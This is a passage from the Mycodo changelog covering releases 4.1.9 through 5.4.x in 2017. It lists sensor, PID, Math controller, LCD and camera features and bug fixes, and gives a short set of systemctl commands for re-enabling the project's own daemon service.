- Add size of each backup (in MB) on Backup Restore page\n - Add check to make sure there is enough free space before performing a backup/upgrade\n - Add dedicated, modular Conditional controller ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add PID and Math to input options of Conditionals", "### Bugfixes", " - Fix deleting Inputs ([#250](https://github.com/kizniche/mycodo/issues/250))\n - Fix 500 error if 1-wire support isn't enabled\n - Fix Edge Detection Input callback function missing required parameter\n - Fix LCD display of Output duty cycle\n - Fix email notification\n - Make Conditional email notification send after last Action to include all Actions in message", "### Miscellaneous", " - Disable the use of the opencv camera library\n - Update translations\n - Combine Input and Math pages to a new 'Data' page\n - Move Conditionals and PIDs to a new 'Function' page\n - Show tooltips by default", "\n## 5.4.19 (2017-12-15)", "### Features", " - Add ability to use other Math controller outputs as Math controller inputs\n - Add checks to ensure a measurement is selected for Gauges", "### Bugfixes", " - Fix not deleting associated Math Conditionals when a Math controller is deleted\n - Fix displaying LCD lines for Controllers/Measurements that no longer exist\n - Fix improper WBT input-checking for humidity math controller\n - Fix issue where Math controller could crash ([#335](https://github.com/kizniche/mycodo/issues/335))", "\n## 5.4.18 (2017-12-15)", "### Bugfixes", " - Fix error on Live page if no Math controllers exist ([#345](https://github.com/kizniche/mycodo/issues/345))", "\n## 5.4.17 (2017-12-14)", "### Features", " - Add Decimal Places option to LCD lines", "### Bugfixes", " - Fix Input conditional refresh upon settings change\n - Fix display of Math controllers with atypical measurements on Live page ([#343](https://github.com/kizniche/mycodo/issues/343))\n - Fix inability to use Math controller values with PID Controllers ([#343](https://github.com/kizniche/mycodo/issues/343))\n - Fix display of Math data on LCDs ([#343](https://github.com/kizniche/mycodo/issues/343))\n - Fix LCD Max Age only working for first line\n - Fix display of Math data on LCDs\n - Fix issue displaying some Graph page configurations\n - Fix issue with PID recording negative durations\n - Fix Date Methods ([#344](https://github.com/kizniche/mycodo/issues/344))", "### Miscellaneous", " - Place PID Controllers in a subcategory of new section called Function\n - Don't disable an LCD when an Input that's using it is disabled", "\n## 5.4.16 (2017-12-13)", "### Features", " - Add new Math controller type: Median\n - Add the ability to use Conditionals with Math controllers\n - Add ability to use Math Controllers with LCDs and PIDs\n - Add Math Controllers to Live page\n - Add Math and PID Controllers to Gauge measurement selection ([#342](https://github.com/kizniche/mycodo/issues/342))\n - Add \"None Found Last x Seconds\" to Conditional options (trigger action if a measurement was not found within the last x seconds)\n - Add Restart Daemon option to the Config menu\n - More detailed 'incorrect database version' error message on System Information page", "### Bugfixes", " - Fix measurement list length on Graph page\n - Fix PWM output display on Live page\n - Fix issue changing Gauge type ([#342](https://github.com/kizniche/mycodo/issues/342))\n - Fix display of multiplexer options for I2C devices\n - Fix display order of I2C busses on System Information page", "### Miscellaneous", " - Add new multiplexer overlay option to manual ([#184](https://github.com/kizniche/mycodo/issues/184))", "\n## 5.4.15 (2017-12-08)", "### Features", " - Add Math controller types: Humidity, Maximum, Minimum, and Verification ([#335](https://github.com/kizniche/mycodo/issues/335))", "### Bugfixes", " - Fix Atlas pH sensor calibration", "\n## 5.4.14 (2017-12-05)", "### Features", " - Add Math Controller (Math in menu) to perform math on Input data\n - Add first Math controller type: Average ([#328](https://github.com/kizniche/mycodo/issues/328))\n - Add fswebcam as a camera library for acquiring images from USB cameras\n - Complete Spanish translation\n - Update korean translations\n - Add more translatable texts\n - Make PIDs collapsible\n - Refactor daemon controller handling and daemonize threads", "### Bugfixes", " - Fix TCA9548A multiplexer channel issues ([#330](https://github.com/kizniche/mycodo/issues/330))\n - Fix selection of current language on General Config page\n - Fix saving options when adding a Timer\n - Fix Graph display of Lowering Output durations as negative values\n - Fix double-logging of output durations", "### Miscellaneous", " - Update Manual with Math Controller information", "\n## 5.4.11 (2017-11-29)", "### Bugfixes", " - Fix issue displaying Camera page", "\n## 5.4.10 (2017-11-28)", "### Features", " - Add display of all detected I2C devices on the System Information page", "### Bugfixes", " - Change web UI restart command\n - Fix issue saving Timer options ([#334](https://github.com/kizniche/mycodo/issues/334))\n - Fix Output Usage error", "\n## 5.4.9 (2017-11-27)", "### Bugfixes", " - Fix adding Gauges ([#333](https://github.com/kizniche/mycodo/issues/333))", "\n## 5.4.8 (2017-11-22)", "### Features", " - Add 1 minute, 5 minute, and 15 minute options to Graph Range Selector ([#319](https://github.com/kizniche/mycodo/issues/319))", "### Bugfixes", " - Fix AM2315 sensor measurement acquisition ([#328](https://github.com/kizniche/mycodo/issues/328))", "\n## 5.4.7 (2017-11-21)", "### Bugfixes", " - Fix flood of errors in the log if an LCD doesn't have a measurement to display\n - Fix LCD display being offset one character when displaying errors", "\n## 5.4.6 (2017-11-21)", "### Features", " - Add Max Age (seconds) to LCD line options\n - Make LCDs collapsable in the web UI", "### Bugfixes", " - Fix saving user theme ([#326](https://github.com/kizniche/mycodo/issues/326))", "\n## 5.4.5 (2017-11-21)", "### Features", " - Add Freqency, Duty Cycle, Pulse Width, RPM, and Linux Command variables to Conditional commands ([#311](https://github.com/kizniche/mycodo/issues/311)) (See [Input Conditional command variables](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#input-conditional-command-variables))\n - Add Graph options: Enable Auto Refresh, Enable Title, and Enable X-Axis Reset ([#319](https://github.com/kizniche/mycodo/issues/319))\n - Add automatic checks for Mycodo updates (can be disabled in the configuration)", "### Bugfixes", " - Fix Input Conditional variable", "\n## 5.4.4 (2017-11-19)", "### Features", " - Add 12-volt DC fan control circuit to manual (@Theoi-Meteoroi) ([#184](https://github.com/kizniche/mycodo/issues/184)) (See [Schematics for DC Fan Control](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#schematics-for-dc-fan-control))", "### Bugfixes", " - Fix PWM Signal, RPM Signal, DHT22, and DHT11 Inputs ([#324](https://github.com/kizniche/mycodo/issues/324))\n - Add Frequency, Duty Cycle, Pulse Width, and RPM to y-axis Graph display", "### Miscellaneous", " - Upgrade InfluxDB from 1.3.7 to 1.4.2", "\n## 5.4.3 (2017-11-18)", "### Bugfixes", " - Fix Output Conditional triggering ([#323](https://github.com/kizniche/mycodo/issues/323))\n ", "## 5.4.2 (2017-11-18)", "### Features", " - Add Output Conditional If option of \"On (any duration)\" ([#323](https://github.com/kizniche/mycodo/issues/323)) (See [Output Conditional Statement If Options](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#output-conditional-statement-if-options))", "### Bugfixes", " - Fix display of first point of Daily Bezier method\n - Fix inability to use Daily Bezier method in PID ([#323](https://github.com/kizniche/mycodo/issues/323))\n - Fix saving Output options and turning Outputs On and Off", "\n## 5.4.1 (2017-11-17)", "### Features", " - Prevent currently-logged in user from: deleting own user, changing user role from Admin\n - Force iPhone to open Mycodo bookmark as standalone web app instead of in Safari\n - Refactor and add tests for all inputs ([#128](https://github.com/kizniche/mycodo/issues/128))\n - Add Flask-Limiter to limit authentication requests to 30 per minute (mainly for Remote Admin feature)\n - Add first working iteration of data acquisition to the Remote Admin dashboard\n - Add SSL certificate authentication with Remote Admin communication", "### Bugfixes", " - Fix inability to modify timer options ([#318](https://github.com/kizniche/mycodo/issues/318))", "### Miscellaneous", " - Rename objects (warning: this may break some things. I tried to be thorough with testing)\n - Switch from using init.d to systemd for controlling apache2", "\n## 5.4.0 (2017-11-12)", "This release has refactored how LCD displays are handled, now allowing an infinite number of data sets on a single LCD.", "Note: All LDCs will be deactivated during the upgrade. As a consequence, LCD displays will need to be reconfigured and reactivated.", "***Note 2: During the upgrade, the web interface will display \"500 Internal Server Error.\" This is normal and you should give Mycodo 5 to 10 minutes (or longer) to complete the upgrade process before attempting to access the web interface again.***", "### Features", " - Add ability to cycle infinite sets of data on a single LCD display ([#316](https://github.com/kizniche/mycodo/issues/316))\n - Add logrotate script to manage mycodo logs", "### Bugfixes", " - Fix language selection being applied globally (each user now has own language)\n - Fix display of degree symbols on LCDs", "\n## 5.3.6 (2017-11-11)", "### Features", " - Allow camera options to be used for picamera library", "### Bugfixes", " - Fix inability to take a still image while a video stream is active\n - Make creating new user names case-insensitive\n - Fix theme not saving when creating a new user", "### Miscellaneous", " - Remove ability to change camera library after a camera has been added\n - Update Korean translation", "\n## 5.3.5 (2017-11-10)", "### Features", " - Add timestamp to lines of the upgrade/backup/restore logs\n - Add sensor measurement smoothing to Chirp light sensor (module will soon expand to all sensors)\n - Add ability to stream video from USB cameras\n - Add ability to stream video from several cameras at the same time", "### Bugfixes", " - Fix an issue loading the camera settings page without a camera connected\n - Fix video streaming with Pi Camera ([#228](https://github.com/kizniche/mycodo/issues/228))", "### Miscellaneous", " - Split flaskform.py and flaskutils.py into smaller files for easier management", "\n## 5.3.4 (2017-11-06)", "Note: The Chirp light sensor scale has been inverted. Please adjust your settings accordingly to respond to 0 as darkness and 65535 as bright.", "### Features", " - Replace deprecated LockFile with fasteners ([#260](https://github.com/kizniche/mycodo/issues/260))\n - Add Timer type: PWM duty cycle output using Method ([#262](https://github.com/kizniche/mycodo/issues/262)), read more: [PWM Method](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#pwm-method)", "### Bugfixes", " - Fix display of PID setpoints on Graphs\n - Invert Chirp light sensor scale (0=dark, 65535=bright)", "### Miscellaneous", " - Update Korean translations\n - Add 2 more significant digits to ADC voltage measurements\n - Upgrade InfluxDB to v1.3.7", "\n## 5.3.3 (2017-10-29)", "### Features", " - Add Sample Time option to PWM and RPM Input options ([#302](https://github.com/kizniche/mycodo/issues/302))", "### Bugfixes", " - Fix issues with PWM and RPM Inputs ([#306](https://github.com/kizniche/mycodo/issues/306))", "\n## 5.3.2 (2017-10-28)", "### Features", " - Turning Outputs On or Off no longer refreshes the page ([#192](https://github.com/kizniche/mycodo/issues/192))", "### Bugfixes", " - Fix exporting measurements\n - Fix Live Data page displaying special characters ([#304](https://github.com/kizniche/mycodo/issues/304))\n - Fix PWM and RPM Input issues ([#302](https://github.com/kizniche/mycodo/issues/302))", "## 5.3.1 (2017-10-27)", "### Features", " - Add two new Inputs: PWM and RPM ([#302](https://github.com/kizniche/mycodo/issues/302))\n - Allow a PID to use both Relay and PWM Outputs ([#303](https://github.com/kizniche/mycodo/issues/303))", "\n## 5.3.0 (2017-10-24)", "#### ***IMPORTANT***", "Because of a necessary database schema change, this update will deactivate all PID controllers and deselect the input measurement. All PID controllers will need the input measurement reconfigured before they can be started again.", "### Features", "Input and Output Conditional commands may now include variables. There are 23 variables currently-supported. See [Conditional Statement variables](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#conditional-statement-variables) for details.", " - Add new Input type: Linux Command (measurement is the return value of an executed command) ([#264](https://github.com/kizniche/mycodo/issues/264))\n - Refactor PID input option to allow new input and simplify PID configuration\n - Add ability to select LCD I2C bus ([#300](https://github.com/kizniche/mycodo/issues/300))\n - Add ADC Option to Inverse Scale ([#297](https://github.com/kizniche/mycodo/issues/300))\n - Add ability to use variables in Input/Output Conditional commands", "### Bugfixes", " - Fix \"Too many files open\" error when using the TSL2591 sensor ([#254](https://github.com/kizniche/mycodo/issues/254))\n - Fix bug that had the potential to lose data with certain graph display configurations\n - Prevent more than one active PID from using the same output ([#108](https://github.com/kizniche/mycodo/issues/108))\n - Prevent a PID from using the same Raise and Lower output\n - Prevent a currently-active PID from changing the output to a currently-used output", "### Miscellaneous", " - Update Readme and Wiki to fix outdated and erroneous information and improve coverage ([#285](https://github.com/kizniche/mycodo/issues/285))", "\n## 5.2.5 (2017-10-14)", "### Features", " - Add another status indicator color (top-left of web UI): Orange: unable to connect to daemon", "### Bugfixes", " - Fix Asynchronous Graphs ([#296](https://github.com/kizniche/mycodo/issues/296))\n - Disable sensor tests to fix testing environment (will add later when the issue is diagnosed)", "\n## 5.2.4 (2017-10-05)", "### Features", " - Add ability to set time to end repeating duration method", "\n## 5.2.3 (2017-09-29)", "### Bugfixes", " - Fix issues with method repeat option", "\n## 5.2.2 (2017-09-27)", "### Features", " - Add 'restart from beginning' option to PID duration methods\n \n### Bugfixes", " - Fix adding new graphs", "\n## 5.2.1 (2017-09-21)", "### Bugfixes", " - Fix changing a gauge from angular to solid ([#274](https://github.com/kizniche/mycodo/issues/274))", "\n## 5.2.0 (2017-09-17)", "### Features", " - Add gauges to Live Graphs ([#274](https://github.com/kizniche/mycodo/issues/274))", "\n## 5.1.10 (2017-09-12)", "### Bugfixes", " - Fix issue reporting issue with the web UI communicating with the daemon ([#291](https://github.com/kizniche/mycodo/issues/291))", "\n## 5.1.9 (2017-09-07)", "### Features", " - Enable daemon monitoring script (cron @reboot) to start the daemon if it stops", "### Bugfixes", " - Potential fix for certain sensor initialization issues when using a multiplexer ([#290](https://github.com/kizniche/mycodo/issues/290))\n - Handle connection error when the web interface cannot connect to the daemon/relay controller ([#289](https://github.com/kizniche/mycodo/issues/289))", "\n## 5.1.8 (2017-08-29)", "### Bugfixes", " - Fix saving relay start state ([#289](https://github.com/kizniche/mycodo/issues/289))", "\n## 5.1.7 (2017-08-29)", "### Bugfixes", " - Fix MH-Z16 sensor issues in I2C read mode ([#281](https://github.com/kizniche/mycodo/issues/281))\n - Fix Atlas Scientific I2C device query response in the event of an error\n - Fix issue preventing PID from using duration Methods\n - Fix issue with PID starting a method again after it has already ended\n - Fix TSL2591 sensor ([#257](https://github.com/kizniche/mycodo/issues/257))\n - Fix saving relay trigger state ([#289](https://github.com/kizniche/mycodo/issues/289))", "\n## 5.1.6 (2017-08-11)", "### Features", " - Add MH-Z16 sensor module ([#281](https://github.com/kizniche/mycodo/issues/281))", "\n## 5.1.5 (2017-08-11)", "### Bugfixes", " - Fix MH-Z19 sensor module ([#281](https://github.com/kizniche/mycodo/issues/281))", "\n## 5.1.4 (2017-08-11)", "### Features", " - Update InfluxDB (v1.3.3) and pip packages", "### Bugfixes", " - Fix K30 sensor module ([#279](https://github.com/kizniche/mycodo/issues/279))", "\n## 5.1.3 (2017-08-10)", "### Bugfixes", " - Fix install issue in setup.sh install script (catch 1-wire error if not enabled) ([#258](https://github.com/kizniche/mycodo/issues/258))", "\n## 5.1.2 (2017-08-09)", "### Bugfixes", " - Fix new timers not working ([#284](https://github.com/kizniche/mycodo/issues/284))", "\n## 5.1.1 (2017-08-09)", "### Features", " - Add live display of upgrade log during upgrade\n \n### Bugfixes", " - Fix setup bug preventing database creation ([#277](https://github.com/kizniche/mycodo/issues/277), [#278](https://github.com/kizniche/mycodo/issues/278), [#283](https://github.com/kizniche/mycodo/issues/283))", "\n## 5.1.0 (2017-08-07)", "Some graphs will need to be manually reconfigured after upgrading to 5.1.0. This is due to adding PWM as an output and PID option, necessitating refactoring certain portions of code related to graph display.", "### Features", " - Add PWM support as output ([#262](https://github.com/kizniche/mycodo/issues/262))\n - Add PWM support as PID output\n - Add min and max duty cycle options to PWM PID\n - Add \"Max Amps\" as a general configuration option\n - Improve error reporting for devices and sensors\n - Add ability to power-cycle the DHT11 sensor if 3 consecutive measurements cannot be retrieved (uses power relay option) ([#273](https://github.com/kizniche/mycodo/issues/273))\n - Add MH-Z19 CO2 sensor", "### Bugfixes", " - Upgrade to InfluxDB 1.3.1 ([#8500](https://github.com/influxdata/influxdb/issues/8500) - fixes InfluxDB going unresponsive)\n - Fix K30 sensor module", "\n## 5.0.49 (2017-07-13)", "### Bugfixes", " - Move relay_usage_reports directory to new version during upgrade\n - Fix LCD display of PID setpoints with long float values (round two decimal places)\n - Fix geocoder issue", "\n## 5.0.48 (2017-07-11)", "### Features", " - Add power relay to AM2315 sensor configuration ([#273](https://github.com/kizniche/mycodo/issues/273))", "\n## 5.0.47 (2017-07-09)", "### Bugfixes", " - Fix upgrade script", "\n## 5.0.46 (2017-07-09)", "### Bugfixes", " - Fix upgrade initialization to include setting permissions", "\n## 5.0.45 (2017-07-07)", "### Bugfixes", " - Fix minor bug that leaves the .upgrade file in a backup, causing issue with upgrading after a restore", "\n## 5.0.44 (2017-07-06)", "### Bugfixes", " - Fix issues with restore functionality (still possibly buggy: use at own risk)", "\n## 5.0.43 (2017-07-06)", "### Bugfixes", " - Fix issues with restore functionality (still possibly buggy: use at own risk)", "\n## 5.0.42 (2017-07-06)", "### Features", " - Update InfluxDB to 1.3.0\n - Update pip package (geocoder)", "\n## 5.0.41 (2017-07-06)", "### Features", " - Add ability to restore backup (Warning: Experimental feature, not thoroughly tested)\n - Add ability to view the backup log on View Logs page\n - Add script to check if daemon uncleanly shut down during upgrade and remove stale PID file ([#198](https://github.com/kizniche/mycodo/issues/198))", "### Bugfixes", " - Fix error if country cannot be detected for anonymous statistics", "\n## 5.0.40 (2017-07-03)", "### Bugfixes", " - Fix install script error ([#253](https://github.com/kizniche/mycodo/issues/253))\n - Fix issue modulating relays if a conditionals using them are not properly configured ([#266](https://github.com/kizniche/mycodo/issues/266))", "\n## 5.0.39 (2017-06-27)", "### Bugfixes", " - Fix upgrade process", "\n## 5.0.38 (2017-06-27)", "### Bugfixes", " - Fix install script", "\n## 5.0.37 (2017-06-27)", "### Bugfixes", " - Change wiringpi during install", "\n## 5.0.36 (2017-06-27)", "### Features", " - Add ability to create a Mycodo backup\n - Add ability to delete a Mycodo backup\n - Remove mycodo-wrapper binary in favor of compiling it from source code during install/upgrade", "### Bugfixes", " - Fix issue with influxdb database and user creation during install ([#255](https://github.com/kizniche/mycodo/issues/255))\n \n### Work in progress", " - Add ability to restore a Mycodo backup", "\n## 5.0.35 (2017-06-18)", "### Bugfixes", " - Fix swap size check (and change to 512 MB) to permit pi_switch module compilation size requirement ([#258](https://github.com/kizniche/mycodo/issues/258))", "\n## 5.0.34 (2017-06-18)", "### Features", " - Add TSL2591 luminosity sensor ([#257](https://github.com/kizniche/mycodo/issues/257))\n - Update sensor page to more compact style", "### Bugfixes", " - Append setup.sh output to setup.log instead of overwriting ([#255](https://github.com/kizniche/mycodo/issues/255))\n - Fix display of error response when attempting to modify timer when it's active", "\n## 5.0.33 (2017-06-05)", "### Features", " - Add new relay type: Execute Commands (executes linux commands to turn the relay on and off)", "### Bugfixes", " - Fix query of ADC unit data (not voltage) from influxdb\n \n### Miscellaneous", " - Update influxdb to version 1.2.4\n - Update pip packages\n - Update Manual\n - Update translatable texts", "\n## 5.0.32 (2017-06-02)", "### Bugfixes", " - Fix display of PID output and setpoint on live graphs ([#252](https://github.com/kizniche/mycodo/issues/252))", "\n## 5.0.31 (2017-05-31)", "### Features", " - Add option to not turn wireless relay on or off at startup", "### Bugfixes", " - Fix inability to save SHT sensor options ([#251](https://github.com/kizniche/mycodo/issues/251))\n - Fix inability to turn relay on if another relay is unconfigured ([#251](https://github.com/kizniche/mycodo/issues/251))", "\n## 5.0.30 (2017-05-23)", "### Bugfixes", " - Fix display of proper relay status if pin is 0", "\n## 5.0.29 (2017-05-23)", "### Features", " - Relay and Timer page style improvements", "### Bugfixes", " - Add influxdb query generator with input checks", "\n## 5.0.28 (2017-05-23)", "### Features", " - Add support for Atlas Scientific pH Sensor ([#238](https://github.com/kizniche/mycodo/issues/238))\n - Add support for calibrating the Atlas Scientific pH sensor\n - Add UART support for Atlas Scientific PT-1000 sensor\n - Update Korean translations\n - Add measurement retries upon CRC fail for AM2315 sensor ([#246](https://github.com/kizniche/mycodo/issues/246))\n - Add page error handler that provides full traceback when the Web UI crashes\n - Display live pH measurements during pH sensor calibration\n - Add ability to clear calibration data from Atlas Scientific pH sensors\n - Add sensor option to calibrate Atlas Scientific pH sensor with the temperature from another sensor before measuring pH\n - Add 433MHz wireless transmitter/receiver support for relay actuation ([#88](https://github.com/kizniche/mycodo/issues/88), [#245](https://github.com/kizniche/mycodo/issues/245))", "### Bugfixes", " - Fix saving of proper start time during timer creation ([#248](https://github.com/kizniche/mycodo/issues/248))\n - Fix unicode error when generating relay usage reports", "\n## 5.0.27 (2017-04-12)", "### Bugfixes", " - Fix issue with old database entries and new graph page parsing\n - Revert to old relay form submission method (ajax method broken)", "\n## 5.0.26 (2017-04-12)", "### Bugfixes", " - Fix critical issue with upgrade script", "\n## 5.0.25 (2017-04-12)", "### Bugfixes", " - Fix setting custom graph colors", "\n## 5.0.24 (2017-04-12)", "### Features", " - Add toastr and ajax support for submitting forms without refreshing the page (currently only used with relay On/Off/Duration buttons) ([#70](https://github.com/kizniche/mycodo/issues/70))", "### Bugfixes", " - Fix issue with changing ownership of SSL certificates during install ([#240](https://github.com/kizniche/mycodo/issues/240))\n - Fix PID Output not appearing when adding new graph (modifying graph works)\n - Remove ineffective upgrade reversion script (reversion was risky)", "\n## 5.0.23 (2017-04-10)", "### Features", " - Add PID Output as a graph display option (useful for tuning PID controllers)", "### Bugfixes", " - Fix display of unicode characters ([#237](https://github.com/kizniche/mycodo/issues/237))", "\n## 5.0.22 (2017-04-08)", "### Features", " - Add sensor conditional: emailing of photo or video (video only supported by picamera library at the moment) ([#226](https://github.com/kizniche/mycodo/issues/226))", "### Bugfixes", " - Fix inability to display Sensor page if unable to detect DS18B20 sensors ([#236](https://github.com/kizniche/mycodo/issues/236))\n - Fix inability to disable relay during camera capture\n - Fix SSL generation script and strengthen from 2048 bit to 4096 bit RSA ([#234](https://github.com/kizniche/mycodo/issues/234))", "### Miscellaneous", " - New cleaner Timer page style", "\n## 5.0.21 (2017-04-02)", "### Bugfixes", " - Fix BMP280 sensor module initialization ([#233](https://github.com/kizniche/mycodo/issues/233))\n - Fix saving and display of PID and Relay values on LCDs", "\n## 5.0.20 (2017-04-02)", "### Bugfixes", " - Fix BMP280 sensor module initialization\n - Fix saving and display of PID and Relay values on LCDs\n - Fix inability to select certain measurements for a sensor under the PID options", "\n## 5.0.19 (2017-04-02)", "### Bugfixes", " - Fix BMP280 sensor I<sup>2</sup>C address options ([#233](https://github.com/kizniche/mycodo/issues/233))", "\n## 5.0.18 (2017-04-01)", "### Features", " - Add BMP280 I2C temperature and pressure sensor ([#233](https://github.com/kizniche/mycodo/issues/233))", "\n## 5.0.17 (2017-03-31)", "### Bugfixes", " - Fix issue with graph page crashing when non-existent sensor referenced ([#232](https://github.com/kizniche/mycodo/issues/232))", "\n## 5.0.16 (2017-03-30)", "### Features", " - New Mycodo Manual rendered in markdown, html, pdf, and plain text", "### Bugfixes", " - Fix BME280 sensor module to include calibration code (fixes \"stuck\" measurements)\n - Fix issue with graph page crashing when non-existent sensor referenced ([#231](https://github.com/kizniche/mycodo/issues/231))", "\n## 5.0.15 (2017-03-28)", "### Bugfixes", " - Fix issue with graph page errors when creating a graph with PIDs or Relays\n - Fix sensor conditional measurement selections ([#230](https://github.com/kizniche/mycodo/issues/230))\n - Fix inability to stream video from a Pi camera ([#228](https://github.com/kizniche/mycodo/issues/228))\n - Fix inability to delete LCD ([#229](https://github.com/kizniche/mycodo/issues/229))\n - Fix measurements export\n - Fix display of BMP and BH1750 sensor measurements in sensor lists (graphs/export)", "### Miscellaneous", " - Better exception-handling (clean up logging of influxdb measurement errors)", "\n## 5.0.14 (2017-03-25)", "### Features", " - Add BH1750 I2C light sensor ([#224](https://github.com/kizniche/mycodo/issues/224))", "### Bugfixes", " - Change default opencv values for new cameras ([#225](https://github.com/kizniche/mycodo/issues/225))\n - Fix relays not recording proper ON duration (which causes other issues) ([#223](https://github.com/kizniche/mycodo/issues/223))\n - Fix new graphs occupying 100% width (12/12 columns)", "\n## 5.0.13 (2017-03-24)", "### Bugfixes", " - Fix issue with adding/deleting relays\n - Fix inability to have multiple graphs appear on the same row\n - Fix UnicodeEncodeError when using translations\n - Fix BME280 sensor pressure/altitude", "\n## 5.0.12 (2017-03-23)", "### Bugfixes", " - Fix frontend and backend issues with conditionals", "\n## 5.0.11 (2017-03-22)", "### Bugfixes", " - Fix alembic database upgrade error (hopefully)", "\n## 5.0.10 (2017-03-22)", "### Bugfixes", " - Fix photos being taken uncontrollably when a time-lapse is active", "\n## 5.0.9 (2017-03-22)", "### Bugfixes", " - Update geocoder to 1.21.0 to attempt to resolve issue\n - Fix creation of alembic version number in database of new install\n - Add suffixes to distinguish Object from Die temperatures of TMP006 sensor on Live page\n - Fix reference to pybabel in virtualenv", "\n## 5.0.8 (2017-03-22)", "### Features", " - Add option to hide tooltips", "### Bugfixes", " - Add alembic upgrade check as a part of flask app startup\n - Fix reference to alembic for database upgrades\n - Fix photos being taken uncontrollably when a time-lapse is active\n - Show edge measurements as vertical bars instead of lines on graphs\n - Fix default image width/height when adding cameras\n - Prevent attempting to setup a relay at startup if the GPIO pin is < 1\n - Add coverage where DHT22 sensor could be power cycled to fix an inability to acquire measurements\n - Display the device name next to each custom graph color\n - Fix encoding error when collecting anonymous statistics ([#216](https://github.com/kizniche/mycodo/issues/216))", "### Miscellaneous", " - Update Influxdb to version 1.2.2\n - UI style improvements", "\n## 5.0.7 (2017-03-19)", "### Bugfixes", " - Fix pybabel reference during install/upgrade ([#212](https://github.com/kizniche/mycodo/issues/212))", "\n## 5.0.6 (2017-03-19)", "### Bugfixes", " - Fix edge detection conditional statements ([#214](https://github.com/kizniche/mycodo/issues/214))\n - Fix identification and conversion of dewpoint on live page ([#215](https://github.com/kizniche/mycodo/issues/215))", "\n## 5.0.5 (2017-03-18)", "### Bugfixes", " - Fix issue with timers not actuating relays ([#213](https://github.com/kizniche/mycodo/issues/213))", "\n## 5.0.4 (2017-03-18)", "### Bugfixes", " - Fix issues with saving LCD options ([#211](https://github.com/kizniche/mycodo/issues/211))", "\n## 5.0.0 (2017-03-18)", "### Bugfixes", " - Fixes inability of relay conditionals to operate ([#209](https://github.com/kizniche/mycodo/issues/209), [#210](https://github.com/kizniche/mycodo/issues/210))\n - Fix issue with user creation/deletion in web UI\n - Fix influxdb being unreachable directly after package install", "### Features", " - Complete Spanish translation\n - Add auto-generation of relay usage/cost reports on a daily, weekly, or monthly schedule\n - Add ability to check daemon health (mycodo_client.py --checkdaemon)\n - Add sensor conditional actions: Activate/Deactivate PID, Email Photo, Email Video\n - Add PID option: maximum allowable sensor measurement age (to allow the PID controller to manipulate relays, the sensor measurement must have occurred in the past x seconds)\n - Add PID option: minimum off duration for lower/raise relay (protects devices that require a minimum off period by preventing power cycling from occurring too quickly)\n - Add new sensor: Free Disk Space (of a set path)\n - Add new sensor: Mycodo Daemon RAM Usage (used for testing)\n - Add ability to use multiple camera configurations (multiple cameras)\n - Add OpenCV camera library to allow use of USB cameras ([#193](https://github.com/kizniche/mycodo/issues/193))\n - Automatically detect DS18B20 sensors in sensor configuration\n - Add ability to create custom user roles\n - Add new user roles: Editor and Monitor ([#46](https://github.com/kizniche/mycodo/issues/46))", "### Miscellaneous", " - Mobile display improvements\n - Improve content and accessibility of help documentation\n - Redesign navigation menu (including glyphs from bootstrap and fontawesome)\n - Move to using a Python virtual environment ([#203](https://github.com/kizniche/mycodo/issues/203))\n - Refactor the relay/sensor conditional management system\n - User names are no longer case-sensitive\n - Switch to using Flask-Login\n - Switch to using flask_wtf.FlaskForm (from using deprecated flask_wtf.Form)\n - Update web interface style and layout\n - Update influxdb to 1.2.1\n - Update Flask WTF to 0.14.2\n - Move from using sqlalchemy to flask sqlalchemy\n - Restructure database ([#115](https://github.com/kizniche/mycodo/issues/115), [#122](https://github.com/kizniche/mycodo/issues/122))", "\n## 4.2.0 (2017-03-16)", "### Features", " - Add ability to turn a relay on for a specific duration of time\n - Update style of Timer and Relay pages (mobile-compatibility)", "\n## 4.1.16 (2017-02-05)", "### Bugfixes", " - Revert back to influxdb 1.1.1 to fix LCD time display ([#7877](https://github.com/influxdata/influxdb/issues/7877) will fix, when released)\n - Fix influxdb not restarting after a new version is installed\n - Fix issue with relay conditionals being triggered upon shutdown\n - Fix asynchronous graph to use local timezone rather than UTC ([#185](https://github.com/kizniche/mycodo/issues/185))", "### Miscellaneous", " - Remove archived versions of Mycodo (Mycodo/old) during upgrade (saves space during backup)", "\n## 4.1.15 (2017-01-31)", "### Bugfixes", " - Fix LCD KeyError from missing measurement unit for durations_sec", "\n## 4.1.14 (2017-01-30)", "### Bugfixes", " - Fix DHT11 sensor module ([#176](https://github.com/kizniche/mycodo/issues/176))", "### Miscellaneous", " - Update influxdb to 1.2.0", "\n## 4.1.13 (2017-01-30)", "### Bugfixes", " - Fix DHT11 sensor module ([#176](https://github.com/kizniche/mycodo/issues/176))", "\n## 4.1.12 (2017-01-30)", "### Bugfixes", " - Fix PID controller crash", "\n## 4.1.11 (2017-01-30)", "This is a small update, mainly to fix the install script. It also *should* fix the DHT11 sensor module from stopping at the first bad checksum.", "### Bugfixes", " - Fix DHT11 sensor module, removing exception preventing acquisition of future measurements ([#176](https://github.com/kizniche/mycodo/issues/176))\n - Fix setup.sh install script by adding git as a dependency ([#183](https://github.com/kizniche/mycodo/issues/183))\n - Fix initialization script executed during install and upgrade", "\n## 4.1.10 (2017-01-29)", "### Bugfixes", " - Fix PID variable initializations\n - Fix KeyError in controller_lcd.py\n - Fix camera termination bug ([#178](https://github.com/kizniche/mycodo/issues/178))\n - Fix inability to pause/hold/resume PID controllers", "### Miscellaneous", " - Add help text for conditional statements to relay page ([#181](https://github.com/kizniche/mycodo/issues/181))", "\n## 4.1.9 (2017-01-27)", "This update fixes two major bugs: Sometimes admin users not being created properly from the web UI and the daemon not being set to automatically start during install.", "This update also fixes an even more severe bug affecting the database upgrade system. If you installed a system before this upgrade, you are probably affected. This release will display a message indicating if your database has an issue. Deleting ~/Mycodo/databases/mycodo.db and restarting the web server (or reboot) will regenerate the database.", "If your daemon doesn't automatically start because you installed it with a botched previous version, issue the following commands to add it to systemctl's autostart:", "***Important***: Make sure you rename 'user' below to your actual user where you installed Mycodo, and make sure the Mycodo install directory is correct and points to the correct mycodo.service file.", "```\nsudo service mycodo stop\nsudo systemctl disable mycodo.service\nsudo rm -rf /etc/systemd/system/mycodo.service\nsudo systemctl enable /home/user/Mycodo/install/mycodo.service\nsudo service mycodo start\n```", "### Features", " - Add check for problematic database and notify user how to fix it\n - Add ability to define the colors of lines on general graphs 